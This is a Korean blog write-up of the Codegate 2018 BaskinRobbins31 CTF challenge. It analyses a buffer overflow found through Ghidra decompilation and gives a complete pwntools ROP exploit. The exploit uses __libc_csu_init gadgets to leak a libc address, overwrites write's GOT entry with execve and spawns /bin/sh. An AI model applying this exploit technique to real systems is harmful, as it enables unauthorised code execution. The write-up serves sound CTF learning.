본문 바로가기

Wargame/etc

[ROP_64bit] codegate2018 Qual BaskinRobbins31

1. 바이너리 파일

BaskinRobins31.zip
0.00MB

2. 바이너리 분석

  • 본 글은 ghidra 툴을 이용하여, 분석하였다. 
    ( 아래는 main에 대한 코드만 넣어두었다. 좀 더 자세한 사항은 디컴파일하여 확인해 보는 것을 추천한다. )

 

  • 해당 바이너리는 베스킨라빈스31게임과 비슷한 것으로, 횟수 31에서 입력한 값만큼 차감하면서 0이 되면 loss하는 게임이다. 단, 입력값은 1~3중에 입력해야 하는 조건이 존재한다.

    • your_turn() : 사용자가 입력한 값을 필터링하는 함수이다.

    • my_turn() : 컴퓨터가 입력하는 값을 의미하는 함수이다.
                          - 남은 기회가 4일 경우, 컴퓨터가 이기게 된다.
                          - 남은 기회가 0미만 3이상일 경우, 남은 기회에서 -1 된다.
                          - 남은 기회가 1~3일 경우, 컴퓨터가 이기게 된다.
undefined8 main(void)
{
  int iVar1;
  time_t tVar2;
  uint local_10;
  int local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  local_10 = 0x1f;
  local_c = 0;
  puts("### This game is similar to the BaskinRobins31 game. ###");
  puts("### The one that take the last match win ###");
  printf("There are %u number(s)\n",(ulong)local_10);
  while (0 < (int)local_10) {
    if (local_c == 0) {
      iVar1 = your_turn(&local_10);
      if (iVar1 == 0) {
        local_c = 0;
      }
      else {
        local_c = 1;
      }
    }
    else {
      my_turn(&local_10);
      local_c = 0;
    }
    printf("remaining number(s) : %i \n",(ulong)local_10);
  }
  if (local_c == 0) {
    puts("You lose!");
  }
  else {
    puts("Wow! You win!");
    puts("Hint is : ROP");
  }
  return 0;
}

3. 바이너리의 취약점

  • checksec을 통해, 적용된 보호 기법이 무엇인지 확인한다.

  • 해당 문제는 your_turn이라는 함수를 집중적으로 보면 풀 수 있으며, 이는 아래와 같은 취약점이 존재한다.

① BOF취약점

  • buf의 크기가 160byte인데, read함수를 통해 400byte를 입력받아오기 때문에 bof취약점이 존재한다.
  • 입력받아온 값만큼, write함수를 통해 그대로 출력해준다.

② 해당 부분에서 check_decision()를 통해, 1~3까지만 입력하도록 필터링하고 있다.

  • 하지만, BOF를 할 경우 상관이 없기 때문에 굳이 신경 쓰지 않아도 되는 부분이다.

4. 풀이

  • 위 취약점&적용기법과 main에서 출력되는 문자열을 보면, ROP문제라는 것을 알 수 있다.

① BOF취약점을 통해, _ _libc_csu_init()의 일부 코드를 가젯으로 사용하여 RET를 덮어쓴다.


② 가젯을 통해 write함수로, got에 저장되어 있는 read 함수의 라이브러리 주소(실제 코드 주소)를 출력한다.

write(1, read_got, 0x8)


③  구한 read함수를 통해, execve함수의 주소를 계산한다.

read_addr = u64(p.recvn(8))

base_libc = read_addr - libc_read
execve_addr = base_libc + libc_execve


④ GOT Overwrite 하여, GOT의 write함수 주소 값을 execve함수의 주소값 + b'/bin/sh\x00'으로 덮어쓴다.

read(0, write_got, 0x16)


⑤ write함수를 재실행하면, write(/bin/sh) 대신 execve(/bin/sh)가 실행된다.

# write_got + 0x8 : /bin/sh 문자열이 존재하는 주소값을 가르킨다.
write(write_got + 0x8)

5. exploit

  • RTC를 이용하여, 작성한 Code이다.
from pwn import *

def print_v(name, value):
    return success(": ".join([name, hex(value)]))

p = process("./BaskinRobins31")
e = ELF("./BaskinRobins31")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

write_got = e.got['write']
read_got = e.got['read']
libc_read = libc.symbols['read']
libc_execve = libc.symbols['execve']

binsh = e.bss()
gadget_csu1 = 0x400bba
gadget_csu2 = 0x400ba0

a = b"5"

# write(1, read_got, 0x8)
payload  = b"A" * 0xb8
payload += p64(gadget_csu1)
payload += p64(0) + p64(1)
payload += p64(write_got)
payload += p64(0x8)
payload += p64(read_got)
payload += p64(1)
payload += p64(gadget_csu2)

# read(0, write_got, 0x16)
payload += a.ljust(0x8, b"A") #dummy
payload += p64(0) + p64(1)
payload += p64(read_got)
payload += p64(0x16)
payload += p64(write_got)
payload += p64(0)
payload += p64(gadget_csu2)

#write(write_got+0x8) -> execve(/bin/sh)
payload += a.ljust(0x8, b"A") #dummy
payload += p64(0) + p64(1)
payload += p64(write_got)
payload += p64(0)
payload += p64(0)
payload += p64(write_got+0x8)
payload += p64(gadget_csu2)

p.sendafter("take ? (1-3)\n", payload)
p.recvuntil(b"\n")
p.recvuntil(b"\n")
read_addr = u64(p.recvn(8))

base_libc = read_addr - libc_read
execve_addr = base_libc + libc_execve

print_v("Read Address", read_addr)
print_v("Base Library", base_libc)
print_v("Execve Address", execve_addr)

p.send(p64(execve_addr) + b"/bin/sh\x00")

p.interactive()

'Wargame > etc' 카테고리의 다른 글

[ROP_32bit] ropasaurusrex  (0) 2022.08.24